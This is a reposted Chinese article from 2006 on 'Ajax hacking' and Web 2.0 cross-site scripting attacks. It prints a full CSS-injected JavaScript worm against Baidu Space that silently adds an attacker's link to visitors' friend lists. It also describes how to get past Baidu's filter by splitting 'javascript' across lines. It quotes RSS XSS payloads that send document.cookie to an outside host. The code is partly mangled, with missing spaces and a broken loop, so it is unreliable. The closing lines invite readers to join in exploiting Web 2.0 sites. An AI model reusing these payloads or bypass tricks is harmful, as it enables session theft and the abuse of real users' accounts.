欢迎来到福编程网,本站提供各种互联网专业知识!

Ajax Hacking

发布时间:2006-11-06 作者: 来源:转载
由此Ajax攻击可见一斑,然而这还仅仅是个开始。7月份百度开通了百度空间,虽然没有指明是应用web2.0技术,但从web2.0象征的测试版(beta)和页面模版架构等等,你可以看出它事实上已经应用了Ajax技术。而在空间开通不到半个月,相应的攻击方式又产生了,这个
由此Ajax攻击可见一斑,然而这还仅仅是个开始。7月份百度开通了百度空间,虽然没有指明是应用web2.0技术,但从web2.0象征的测试版(beta)和页面模版架构等等,你可以看出它事实上已经应用了Ajax技术。而在空间开通不到半个月,相应的攻击方式又产生了,这个攻击应该又算是一个蠕虫吧。它利用百度提交的自定义css(CascadingStylesheet,层叠样式表单)中对插入的javascript过滤不严格,而使攻击者可以写入恶意代码进行了xss(CrossSiteScripting)跨站。从而使浏览该空间的百度通行证用户在不知觉的情况下将该站点加入自己的友情连接中。最原始代码标本如下:
复制代码 代码如下:#header{height:89px;background:url("javascript:document.body.onload=function(){//--在css的样式标签中插入javascript代码
varreq=null;
if(window.XMLHttpRequest)req=newXMLHttpRequest();//--这句懂ajax的都知道,是它的核心XMLHttpRequest,而下面当然是必不可少的判断是否IE的语句了。
elseif(window.ActiveXObject){
varmsxml=newArray('MSXML2.XMLHTTP.5.0','MSXML2.XMLHTTP.4.0','MSXML2.XMLHTTP.3.0','MSXML2.XMLHTTP','Microsoft.XMLHTTP');
for(vari=0;itry{req.overrideMimeType('text/xml')}catch(e){}
}
req.open('get','.',false);
req.send();
vars=req.responseText;
p=s.indexOf('passport.baidu.com/?logout');
if(p>0)
{
p=s.indexOf('');
if(p>0)
{
p=s.indexOf('/',p);
p2=s.indexOf(String.fromCharCode(34),p);
varuser=s.substring(p+1,p2);
varname='Hereisabadsite';
varlink='目标网址';
vardesc='ThislinkwasaddedbyanXSSscript';
varurl='/'+user+'/commit';
vardata='ct=6&cm=1&spRef='+escape('http://hi.baidu.com/'+user)+'%2Fmodify%2Fbuddylink%2F0&spBuddyName='+escape(name)+'&spBuddyURL='+escape(link)+'&spBuddyIntro='+escape(desc);//--这句是整个蠕虫的执行语句,也是Ajax的数据异步调用语句。
req.open('post',url,false);
req.send(data);
alert('Afriendlinkhasbeenaddedtoyourspaceathttp://hi.baidu.com/'+user);
}
}
else{alert('YouarenotaloggedBaiduuser.');}//--由于是标本语句,所以这里有对是否登陆的判断,但实际攻击中当然不会有。
}");
}当时百度在第一时间内对此蠕虫作出了反映——过滤提交表单中的javascript,当然这也使正常用户无法再在blog中贴入Flash动画。但后来的变种使得境况变得更糟糕,因为有人发现百度仅仅是过滤了CSS文本中的譬如"javascript"和"expression"这样的字符串。也就是说如果把”javascript”分成两行来写,就可以绕过百度的过滤但同时又被IE执行。而这时变种的蠕虫也随之产生,其造成的结果是在用户的css中加入如下代码:
#header{……
很简单的一句吧,这几乎把该蠕虫提升到了病毒性质,因为用户本身无法到达css修改页面来修复他的css代码。事实上直到写这篇文章时,百度空间尚没有对一些另类的插入恶意代码方式进行有效地过滤和封锁。
如果认为他们所造成的影响都是局域的,那么我不得不带领大家来看一些影响比较广泛的最具有web2.0性质的——Rss(ReallySimpleSyndication)攻击。这是我从zdnet.com的JorisEvers的一篇名为“Blogfeedsmaycarrysecurityrisk”了解到的,大体意思是说由于目前几乎所有的不管是在线的还是离线的Rss阅读器都没有有效地对搀杂在Rss中的脚本进行过滤,导致攻击者可以向Rss中写入恶意的javascript代码,最终导致xss跨站,获取用户信息或其他。包括著名的Bloglines,RSSReader,RSSOwl,FeedDemon,SharpReader都在攻击范围之内。这是去年yahoorssxss代码:

javascript:%20document.location='http://www.target.com/cookie.cgi?'%20+documentcookie;
ShouldStealYourCookie.
Tue,20Sep200523:55:18EDT

javascript:%20alert(document.cookie);
ShouldStealYourCookie.
Tue,20Sep200523:55:18EDT

事实上,最早的web2.0攻击出现在去年的myspace.上,有人在MySpace交友网站上写了一段JavaScript蠕虫代码,利用Ajax方法让无数的用户在不知情的情况下把他加入了好友名单,同时在他们的个人简介最后自动加上了“samyismyhero”的字样。此蠕虫被称为世界上第一个“web2.0蠕虫”。而从上文的对email、css、rss攻击进行的描述中你也可以看出目前对web2.0的攻击利用亦是多方面的。但并不单单指跨站,网上有一篇《HackingAjax》的文章,其中有一句话被加了黑体,“BycorruptingoneofthedozensofdataexchangesAjaxhandleswhileloadingaWebpage,ahackercantakeovercontrolofthePC”,也就是说适当情况下,利用Ajax攻击并获得个人电脑管理权限亦是可能的。
由于目前系统对补丁的发布采取的都是时时更新功能,想通过溢出获得shell已经很难了,除非是0day的系统漏洞;而sql注入在网络也肆虐了几年,亦有了行之有效的防范方法;并且由于Python和Ruby语言的兴起,新的web2.0服务正在产生并有取代现有web结构趋势,譬如Plone。但不可改变的是web浏览器对xhtml和javascript的解释,只要我们始终有改变javascript的可能性,我们就永远有提升自己权限的可能……
那么对于日趋庞大的web2.0大军,你是否有兴趣从中分一杯羹呢?

相关推荐